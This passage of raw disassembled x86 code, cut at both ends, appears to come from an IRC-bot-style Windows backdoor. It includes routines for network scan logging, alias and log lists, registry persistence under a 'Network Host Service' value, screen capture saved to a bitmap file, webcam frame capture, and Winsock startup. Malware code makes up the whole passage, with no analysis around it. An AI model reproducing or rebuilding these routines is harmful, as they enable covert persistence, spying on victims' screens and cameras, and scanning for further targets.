imul ecx, 234h cmp eax, ebx mov dword_43B274[ecx], eax jnz short loc_401D4E call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1E0] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push eax call sub_416975 lea eax, [ebp+var_1E0] push eax call sub_401F0F add esp, 10h loc_401D29: ; CODE XREF: sub_401B94+1BFj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_401C93 loc_401D37: ; CODE XREF: sub_401B94+F9j cmp [ebp+var_30], ebx jz short loc_401D5C mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_401D69 ; --------------------------------------------------------------------------- loc_401D4A: ; CODE XREF: sub_401B94+1BDj push 1Eh call esi ; Sleep loc_401D4E: ; CODE XREF: sub_401B94+16Cj cmp [ebp+var_4], ebx jz short loc_401D4A jmp short loc_401D29 ; --------------------------------------------------------------------------- loc_401D55: ; CODE XREF: sub_401B94+1D3j push 7D0h call esi ; Sleep loc_401D5C: ; CODE XREF: sub_401B94+1A6j mov eax, [ebp+var_2C] cmp dword_4331E4[eax*8], 1 jz short loc_401D55 loc_401D69: ; CODE XREF: sub_401B94+1B4j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4331E0[eax*8] push eax call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call sub_416975 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_401DB7 push ebx push [ebp+var_14] lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_405D62 add esp, 14h loc_401DB7: ; CODE XREF: sub_401B94+204j lea eax, [ebp+var_1E0] push eax call sub_401F0F mov eax, [ebp+var_2C] mov dword_4331E4[eax*8], ebx mov [esp+220h+var_220], 0BB8h call esi ; Sleep push 9 call sub_413922 cmp eax, 1 pop ecx jnz short loc_401DEE push offset dword_434180 call dword_422024 ; RtlDeleteCriticalSection loc_401DEE: ; CODE XREF: sub_401B94+24Dj push [ebp+var_2C] call sub_4139F6 pop ecx push ebx call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_401B94 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401DFF proc near ; CODE XREF: sub_409848+3962p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi xor ebx, ebx mov edi, offset dword_47FF58 loc_401E09: ; CODE XREF: sub_401DFF+4Dj cmp byte ptr [edi], 0 jz short loc_401E50 mov esi, [esp+0Ch+arg_0] mov eax, edi loc_401E14: ; CODE XREF: sub_401DFF+31j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_401E36 test cl, cl jz short loc_401E32 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_401E36 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_401E14 loc_401E32: ; CODE XREF: sub_401DFF+1Fj xor eax, eax jmp short loc_401E3B ; --------------------------------------------------------------------------- loc_401E36: ; CODE XREF: sub_401DFF+1Bj ; sub_401DFF+29j sbb eax, eax sbb eax, 0FFFFFFFFh loc_401E3B: ; CODE XREF: sub_401DFF+35j test eax, eax jz short loc_401E50 add edi, 0B8h inc ebx cmp edi, offset dword_480AD8 jl short loc_401E09 jmp short loc_401E91 ; --------------------------------------------------------------------------- loc_401E50: ; CODE XREF: sub_401DFF+Dj ; sub_401DFF+3Ej mov esi, ebx imul esi, 0B8h push 2Eh pop ecx push 17h push [esp+10h+arg_0] lea edx, dword_47FF58[esi] xor eax, eax mov edi, edx push edx rep stosd call sub_416A00 push 9Fh push [esp+1Ch+arg_4] lea eax, dword_47FF70[esi] push eax call sub_416A00 add esp, 18h inc dword_4301C0 loc_401E91: ; CODE XREF: sub_401DFF+4Fj pop edi pop esi mov eax, ebx pop ebx retn sub_401DFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E97 proc near ; CODE XREF: sub_409848+5085p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h xor edi, edi mov esi, offset dword_47FF58 loc_401EC1: ; CODE XREF: sub_401E97+72j cmp byte ptr [esi], 0 jz short loc_401EFC lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_416BCD push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 2Ch loc_401EFC: ; CODE XREF: sub_401E97+2Dj add esi, 0B8h inc edi cmp esi, offset dword_480AD8 jl short loc_401EC1 pop edi pop esi leave retn sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F0F proc near ; CODE XREF: start+BEp sub_4010CA+6Dp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_10] push eax call dword_422028 ; GetLocalTime mov ebx, offset dword_438A98 mov edi, 80h mov esi, offset dword_434A98 loc_401F31: ; CODE XREF: sub_401F0F+3Dj cmp byte ptr [ebx], 0 jz short loc_401F48 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_416A00 add esp, 0Ch loc_401F48: ; CODE XREF: sub_401F0F+25j sub ebx, edi cmp ebx, esi jge short loc_401F31 push [ebp+arg_0] movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_416BCD add esp, 28h pop edi pop esi pop ebx leave retn sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F83 proc near ; CODE XREF: sub_4096E9+A4p ; sub_409848:loc_40CEFAp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax push [ebp+arg_0] lea eax, [ebp+var_80] push 80h push eax call sub_416C24 lea eax, [ebp+var_80] push eax call sub_401F0F add esp, 14h leave retn sub_401F83 endp ; =============== S U B R O U T I N E ======================================= sub_401FAF proc near ; CODE XREF: sub_409848+4F79p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_434A98 xor ecx, ecx loc_401FB6: ; CODE XREF: sub_401FAF+13j mov [eax], cl add eax, 80h cmp eax, offset dword_438A98 jl short loc_401FB6 cmp [esp+arg_C], ecx push esi mov esi, offset aLogsCleared_ ; "[LOGS]: Cleared." jnz short loc_401FE6 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_405D62 add esp, 14h loc_401FE6: ; CODE XREF: sub_401FAF+1Fj push esi call sub_401F0F pop ecx pop esi retn sub_401FAF endp ; =============== S U B R O U T I N E ======================================= sub_401FEF proc near ; CODE XREF: .text:00414849p ; .text:00414A7Cp arg_0 = dword ptr 4 push esi mov esi, offset dword_434A98 loc_401FF5: ; CODE XREF: sub_401FEF+27j cmp byte ptr [esi], 0 jz short loc_40200A push [esp+4+arg_0] push esi call sub_407736 test eax, eax pop ecx pop ecx jnz short loc_40201C loc_40200A: ; CODE XREF: sub_401FEF+9j add esi, 80h cmp esi, offset dword_438A98 jl short loc_401FF5 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40201C: ; CODE XREF: sub_401FEF+19j xor eax, eax inc eax pop esi retn sub_401FEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402021 proc near ; DATA XREF: sub_409848+5030o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] rep movsd xor edi, edi xor edx, edx inc edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_402074 push edx push [ebp+var_14] lea eax, [ebp+var_118] push offset aLogBegin ; "[LOG]: Begin" push eax push [ebp+var_11C] call sub_405D62 add esp, 14h loc_402074: ; CODE XREF: sub_402021+33j cmp [ebp+var_98], 0 jz short loc_402094 lea eax, [ebp+var_98] push eax call sub_416D02 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_402094 mov [ebp+var_8], eax loc_402094: ; CODE XREF: sub_402021+5Aj ; sub_402021+6Ej and [ebp+arg_0], 0 mov esi, offset dword_434A98 loc_40209D: ; CODE XREF: sub_402021+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_4020F7 cmp byte ptr [esi], 0 jz short loc_4020E6 cmp [ebp+var_98], 0 jz short loc_4020CC cmp [ebp+var_4], 0 jnz short loc_4020CC lea eax, [ebp+var_98] push eax push esi call sub_407736 test eax, eax pop ecx pop ecx jz short loc_4020E6 loc_4020CC: ; CODE XREF: sub_402021+90j ; sub_402021+96j push edi push [ebp+var_14] lea eax, [ebp+var_118] push esi push eax push [ebp+var_11C] call sub_405D62 add esp, 14h loc_4020E6: ; CODE XREF: sub_402021+87j ; sub_402021+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_438A98 jl short loc_40209D loc_4020F7: ; CODE XREF: sub_402021+82j lea eax, [ebp+var_31C] push offset aLogListComplet ; "[LOG]: List complete." push eax call sub_416975 xor esi, esi cmp [ebp+var_10], esi pop ecx pop ecx jnz short loc_402131 push esi push [ebp+var_14] lea eax, [ebp+var_31C] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_405D62 add esp, 14h loc_402131: ; CODE XREF: sub_402021+EEj lea eax, [ebp+var_31C] push eax call sub_401F0F push [ebp+var_18] call sub_4139F6 pop ecx pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_402021 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40214F proc near ; CODE XREF: sub_407576+1Ep ; sub_40FB4C+34Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset aNetworkHostSer ; "Network Host Service" loc_40215F: ; CODE XREF: sub_40214F+6Fj push ebx lea eax, [ebp+var_4] push eax push ebx push 0F003Fh push ebx push ebx push ebx push off_42E4F4[edi] push dword_42E4F0[edi] call dword_43A408 ; RegCreateKeyExA mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4021A5 lea edx, [eax+1] loc_402189: ; CODE XREF: sub_40214F+3Fj mov cl, [eax] inc eax cmp cl, bl jnz short loc_402189 sub eax, edx push eax push [ebp+arg_0] push 1 push ebx push esi push [ebp+var_4] call dword_43A3A0 ; RegSetValueExA jmp short loc_4021AF ; --------------------------------------------------------------------------- loc_4021A5: ; CODE XREF: sub_40214F+35j push esi push [ebp+var_4] call dword_43A3FC ; RegDeleteValueA loc_4021AF: ; CODE XREF: sub_40214F+54j push [ebp+var_4] call dword_43A4A0 ; RegCloseKey add edi, 8 cmp edi, 18h jb short loc_40215F pop edi pop esi pop ebx leave retn sub_40214F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4021C5 proc near ; CODE XREF: sub_409848+3AB4p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 484h push esi push edi xor esi, esi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43A504 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+74h+var_20], edi jnz short loc_4021F2 xor eax, eax jmp loc_4023FB ; --------------------------------------------------------------------------- loc_4021F2: ; CODE XREF: sub_4021C5+24j push ebx push 8 push edi call dword_43A430 ; GetDeviceCaps push 0Ah push edi mov [ebp+74h+var_C], eax call dword_43A430 ; GetDeviceCaps push 0Ch push edi mov [ebp+74h+var_4], eax call dword_43A430 ; GetDeviceCaps cmp eax, 8 mov [ebp+74h+var_10], eax ja short loc_40222C push 18h push edi call dword_43A430 ; GetDeviceCaps mov ebx, 100h jmp short loc_40222E ; --------------------------------------------------------------------------- loc_40222C: ; CODE XREF: sub_4021C5+55j xor ebx, ebx loc_40222E: ; CODE XREF: sub_4021C5+65j push edi call dword_43A438 ; CreateCompatibleDC cmp eax, esi mov [ebp+74h+var_8], eax jz loc_4023DD mov eax, [ebp+74h+var_C] mov [ebp+74h+var_80], eax mov eax, [ebp+74h+var_4] mov [ebp+74h+var_7C], eax mov ax, word ptr [ebp+74h+var_10] push esi push esi mov [ebp+74h+var_76], ax lea eax, [ebp+74h+var_18] push eax push 1 lea eax, [ebp+74h+var_84] push eax push edi mov [ebp+74h+var_84], 28h mov [ebp+74h+var_78], 1 mov [ebp+74h+var_74], esi mov [ebp+74h+var_70], esi mov [ebp+74h+var_6C], esi mov [ebp+74h+var_68], esi mov [ebp+74h+var_64], ebx mov [ebp+74h+var_60], ebx call dword_43A4D4 ; CreateDIBSection cmp eax, esi mov [ebp+74h+var_1C], eax jz loc_4023E8 push eax push [ebp+74h+var_8] call dword_43A34C ; SelectObject cmp eax, esi jz loc_4023E8 cmp eax, 0FFFFFFFFh jz loc_4023E8 push 0CC0020h push esi push esi push edi push [ebp+74h+var_4] push [ebp+74h+var_C] push esi push esi push [ebp+74h+var_8] call dword_43A448 ; BitBlt test eax, eax jz loc_4023E8 cmp ebx, esi jz short loc_4022E5 lea eax, [ebp+74h+var_484] push eax push ebx push esi push [ebp+74h+var_8] call dword_43A478 ; GetDIBColorTable mov ebx, eax loc_4022E5: ; CODE XREF: sub_4021C5+10Aj mov edi, [ebp+74h+var_10] imul edi, [ebp+74h+var_4] mov ecx, [ebp+74h+var_C] imul edi, ecx push esi push 80h push 2 mov eax, ebx shl eax, 2 mov [ebp+74h+var_C], eax shr edi, 3 lea edx, [eax+edi+36h] add eax, 36h push esi mov [ebp+74h+var_26], eax mov eax, [ebp+74h+var_4] push esi push 40000000h push [ebp+74h+arg_0] mov [ebp+74h+var_50], eax mov ax, word ptr [ebp+74h+var_10] mov [ebp+74h+var_30], 4D42h mov [ebp+74h+var_2E], edx mov [ebp+74h+var_2A], si mov [ebp+74h+var_28], si mov [ebp+74h+var_58], 28h mov [ebp+74h+var_54], ecx mov [ebp+74h+var_4C], 1 mov [ebp+74h+var_4A], ax mov [ebp+74h+var_48], esi mov [ebp+74h+var_44], esi mov [ebp+74h+var_40], esi mov [ebp+74h+var_3C], esi mov [ebp+74h+var_38], ebx mov [ebp+74h+var_34], esi call dword_422034 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+74h+var_4], eax jz short loc_4023C8 push esi lea ecx, [ebp+74h+var_14] push ecx push 0Eh lea ecx, [ebp+74h+var_30] push ecx push eax call dword_422030 ; WriteFile push esi lea eax, [ebp+74h+var_14] push eax push 28h lea eax, [ebp+74h+var_58] push eax push [ebp+74h+var_4] call dword_422030 ; WriteFile cmp ebx, esi jz short loc_4023AA push esi lea eax, [ebp+74h+var_14] push eax push [ebp+74h+var_C] lea eax, [ebp+74h+var_484] push eax push [ebp+74h+var_4] call dword_422030 ; WriteFile loc_4023AA: ; CODE XREF: sub_4021C5+1CBj push esi lea eax, [ebp+74h+var_14] push eax push edi push [ebp+74h+var_18] push [ebp+74h+var_4] call dword_422030 ; WriteFile push [ebp+74h+var_4] call dword_42202C ; CloseHandle xor esi, esi inc esi loc_4023C8: ; CODE XREF: sub_4021C5+1A1j push [ebp+74h+var_1C] call dword_43A43C ; DeleteObject push [ebp+74h+var_8] call dword_43A3E8 ; DeleteDC mov edi, [ebp+74h+var_20] loc_4023DD: ; CODE XREF: sub_4021C5+75j push edi call dword_43A3E8 ; DeleteDC mov eax, esi jmp short loc_4023FA ; --------------------------------------------------------------------------- loc_4023E8: ; CODE XREF: sub_4021C5+C6j ; sub_4021C5+D8j ... push edi call dword_43A3E8 ; DeleteDC push [ebp+74h+var_8] call dword_43A3E8 ; DeleteDC xor eax, eax loc_4023FA: ; CODE XREF: sub_4021C5+221j pop ebx loc_4023FB: ; CODE XREF: sub_4021C5+28j pop edi pop esi add ebp, 74h leave retn sub_4021C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402402 proc near ; CODE XREF: sub_409848+3BDCp var_38 = byte ptr -38h var_24 = dword ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi xor ebx, ebx inc ebx push ebx push dword_438A98 xor esi, esi push 78h push 0A0h push esi push esi push 40000000h push offset aWindow ; "Window" call dword_43A3F0 mov edi, eax cmp edi, esi mov [ebp+var_8], edi jnz short loc_402440 mov eax, ebx jmp loc_4025F9 ; --------------------------------------------------------------------------- loc_402440: ; CODE XREF: sub_402402+35j push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_40245D push esi push [ebp+arg_4] push 40Ah push edi call dword_43A484 ; SendMessageA jmp short loc_40245F ; --------------------------------------------------------------------------- loc_40245D: ; CODE XREF: sub_402402+47j xor eax, eax loc_40245F: ; CODE XREF: sub_402402+59j cmp eax, esi jnz short loc_40246A loc_402463: ; CODE XREF: sub_402402+88j ; sub_402402+BCj mov esi, ebx jmp loc_4025EE ; --------------------------------------------------------------------------- loc_40246A: ; CODE XREF: sub_402402+5Fj push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_402487 lea eax, [ebp+var_38] push eax push 2Ch push 40Eh push edi call dword_43A484 ; SendMessageA loc_402487: ; CODE XREF: sub_402402+71j cmp [ebp+var_24], esi jz short loc_402463 push edi call dword_43A344 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_4024AD push esi push esi push edi push [ebp+var_8] call dword_43A484 ; SendMessageA mov [ebp+var_4], eax jmp short loc_4024B0 ; --------------------------------------------------------------------------- loc_4024AD: ; CODE XREF: sub_402402+98j mov [ebp+var_4], esi loc_4024B0: ; CODE XREF: sub_402402+A9j push [ebp+var_4] call sub_416E1F cmp eax, esi pop ecx mov [ebp+var_C], eax jz short loc_402463 push [ebp+var_4] call sub_416E1F mov ebx, eax cmp ebx, esi pop ecx jnz short loc_4024D7 xor esi, esi inc esi jmp loc_4025EE ; --------------------------------------------------------------------------- loc_4024D7: ; CODE XREF: sub_402402+CBj push [ebp+var_8] call dword_43A344 ; IsWindow test eax, eax jz short loc_4024F4 push [ebp+var_C] push [ebp+var_4] push edi push [ebp+var_8] call dword_43A484 ; SendMessageA loc_4024F4: ; CODE XREF: sub_402402+E0j mov ecx, [ebp+var_4] mov esi, [ebp+var_C] mov eax, ecx shr ecx, 2 mov edi, ebx rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+arg_8] xor edx, edx cmp ecx, edx jg short loc_402518 mov ecx, 280h loc_402518: ; CODE XREF: sub_402402+10Fj mov eax, [ebp+arg_C] cmp eax, edx jg short loc_402524 mov eax, 1E0h loc_402524: ; CODE XREF: sub_402402+11Bj mov edi, [ebp+var_8] and byte ptr [ebx+28h], 0 and byte ptr [ebx+29h], 0 and byte ptr [ebx+2Ah], 0 and byte ptr [ebx+2Bh], 0 push edi mov [ebx+4], ecx mov [ebx+8], eax mov word ptr [ebx+0Eh], 10h mov [ebx+14h], edx mov [ebx+10h], edx mov [ebx+20h], edx mov [ebx+24h], edx mov word ptr [ebx+0Ch], 1 call dword_43A344 ; IsWindow test eax, eax mov esi, 42Dh jz short loc_402571 push ebx push [ebp+var_4] push esi push edi call dword_43A484 ; SendMessageA loc_402571: ; CODE XREF: sub_402402+161j push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_40258C push 0 push 0 push 43Dh push edi call dword_43A484 ; SendMessageA loc_40258C: ; CODE XREF: sub_402402+178j push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_4025A8 push [ebp+arg_0] push 0 push 419h push edi call dword_43A484 ; SendMessageA loc_4025A8: ; CODE XREF: sub_402402+193j push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_4025C1 push [ebp+var_C] push [ebp+var_4] push esi push edi call dword_43A484 ; SendMessageA loc_4025C1: ; CODE XREF: sub_402402+1AFj push [ebp+var_C] call sub_416D07 push ebx call sub_416D07 pop ecx pop ecx push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_4025EC push 0 push 0 push 40Bh push edi call dword_43A484 ; SendMessageA loc_4025EC: ; CODE XREF: sub_402402+1D8j xor esi, esi loc_4025EE: ; CODE XREF: sub_402402+63j ; sub_402402+D0j push [ebp+var_8] call dword_43A3B4 ; DestroyWindow mov eax, esi loc_4025F9: ; CODE XREF: sub_402402+39j pop edi pop esi pop ebx leave retn sub_402402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025FE proc near ; CODE XREF: sub_409848+3C94p var_98 = byte ptr -98h var_84 = dword ptr -84h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi xor ebx, ebx inc ebx push ebx push dword_438A98 xor esi, esi push 78h push 0A0h push esi push esi push 40000000h push offset aWindow ; "Window" call dword_43A3F0 mov edi, eax cmp edi, esi mov [ebp+var_8], edi jnz short loc_40263F mov eax, ebx jmp loc_402853 ; --------------------------------------------------------------------------- loc_40263F: ; CODE XREF: sub_4025FE+38j push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_40265C push esi push [ebp+arg_4] push 40Ah push edi call dword_43A484 ; SendMessageA jmp short loc_40265E ; --------------------------------------------------------------------------- loc_40265C: ; CODE XREF: sub_4025FE+4Aj xor eax, eax loc_40265E: ; CODE XREF: sub_4025FE+5Cj cmp eax, esi jnz short loc_402669 loc_402662: ; CODE XREF: sub_4025FE+91j ; sub_4025FE+C5j mov edi, ebx jmp loc_402848 ; --------------------------------------------------------------------------- loc_402669: ; CODE XREF: sub_4025FE+62j push edi call dword_43A344 ; IsWindow test eax, eax jz short loc_402689 lea eax, [ebp+var_98] push eax push 2Ch push 40Eh push edi call dword_43A484 ; SendMessageA loc_402689: ; CODE XREF: sub_4025FE+74j cmp [ebp+var_84], esi jz short loc_402662 push edi call dword_43A344 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_4026B2 push esi push esi push edi push [ebp+var_8] call dword_43A484 ; SendMessageA mov [ebp+var_4], eax jmp short loc_4026B5 ; --------------------------------------------------------------------------- loc_4026B2: ; CODE XREF: sub_4025FE+A1j mov [ebp+var_4], esi loc_4026B5: ; CODE XREF: sub_4025FE+B2j push [ebp+var_4] call sub_416E1F cmp eax, esi pop ecx mov [ebp+var_C], eax jz short loc_402662 push [ebp+var_4] call sub_416E1F mov ebx, eax cmp ebx, esi pop ecx jnz short loc_4026DC xor edi, edi inc edi jmp loc_402848 ; --------------------------------------------------------------------------- loc_4026DC: ; CODE XREF: sub_4025FE+D4j push [ebp+var_8] call dword_43A344 ; IsWindow test eax, eax jz short loc_4026F9 push [ebp+var_C] push [ebp+var_4] push edi push [ebp+var_8] call dword_43A484 ; SendMessageA loc_4026F9: ; CODE XREF: sub_4025FE+E9j mov ecx, [ebp+var_4] mov esi, [ebp+var_C] mov eax, ecx shr ecx, 2 mov edi, ebx rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+arg_C] xor edi, edi cmp ecx, edi jg short loc_40271D mov ecx, 0A0h loc_40271D: ; CODE XREF: sub_4025FE+118j mov eax, [ebp+arg_10] cmp eax, edi jg short loc_402727 push 78h pop eax loc_402727: ; CODE XREF: sub_4025FE+124j mov esi, [ebp+var_8] and byte ptr [ebx+28h], 0 and byte ptr [ebx+29h], 0 and byte ptr [ebx+2Ah], 0 and byte ptr [ebx+2Bh], 0 push esi mov [ebx+4], ecx mov [ebx+8], eax mov word ptr [ebx+0Eh], 10h mov [ebx+14h], edi mov [ebx+10h], edi mov [ebx+20h], edi mov [ebx+24h], edi mov word ptr [ebx+0Ch], 1 call dword_43A344 ; IsWindow test eax, eax jz short loc_402773 push ebx push [ebp+var_4] push 42Dh push esi call dword_43A484 ; SendMessageA loc_402773: ; CODE XREF: sub_4025FE+163j push esi call dword_43A344 ; IsWindow test eax, eax jz short loc_402790 lea eax, [ebp+var_6C] push eax push 60h push 441h push esi call dword_43A484 ; SendMessageA loc_402790: ; CODE XREF: sub_4025FE+17Ej push esi mov [ebp+var_68], edi mov [ebp+var_44], edi mov [ebp+var_40], edi mov [ebp+var_3C], edi mov [ebp+var_38], 1 mov [ebp+var_34], 5 mov [ebp+var_6C], 1046Ah call dword_43A344 ; IsWindow test eax, eax jz short loc_4027CE lea eax, [ebp+var_6C] push eax push 60h push 440h push esi call dword_43A484 ; SendMessageA loc_4027CE: ; CODE XREF: sub_4025FE+1BCj push esi call dword_43A344 ; IsWindow test eax, eax jz short loc_4027E9 push [ebp+arg_0] push edi push 414h push esi call dword_43A484 ; SendMessageA loc_4027E9: ; CODE XREF: sub_4025FE+1D9j push esi call dword_43A344 ; IsWindow test eax, eax jz short loc_402802 push edi push edi push 43Eh push esi call dword_43A484 ; SendMessageA loc_402802: ; CODE XREF: sub_4025FE+1F4j push esi call dword_43A344 ; IsWindow test eax, eax jz short loc_40281F push [ebp+var_C] push [ebp+var_4] push 42Dh push esi call dword_43A484 ; SendMessageA loc_40281F: ; CODE XREF: sub_4025FE+20Dj push [ebp+var_C] call sub_416D07 push ebx call sub_416D07 pop ecx pop ecx push esi call dword_43A344 ; IsWindow test eax, eax jz short loc_402848 push edi push edi push 40Bh push esi call dword_43A484 ; SendMessageA loc_402848: ; CODE XREF: sub_4025FE+66j ; sub_4025FE+D9j ... push [ebp+var_8] call dword_43A3B4 ; DestroyWindow mov eax, edi loc_402853: ; CODE XREF: sub_4025FE+3Cj pop edi pop esi pop ebx leave retn sub_4025FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=64h sub_402858 proc near ; CODE XREF: sub_402B47+40p var_288 = byte ptr -288h var_F8 = byte ptr -0F8h var_B8 = word ptr -0B8h var_B6 = word ptr -0B6h var_B4 = dword ptr -0B4h var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_94 = byte ptr -94h var_88 = byte ptr -88h var_80 = byte ptr -80h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp lea ebp, [esp-64h] sub esp, 288h push ebx push edi push 0Eh pop ecx xor eax, eax xor ebx, ebx mov [ebp+64h+var_A8], bl lea edi, [ebp+64h+var_A7] rep stosd stosw stosb lea eax, [ebp+64h+var_288] push eax push 202h call dword_43A3CC ; WSAStartup test eax, eax jz short loc_402894 xor eax, eax jmp loc_402B40 ; --------------------------------------------------------------------------- loc_402894: ; CODE XREF: sub_402858+33j xor edi, edi 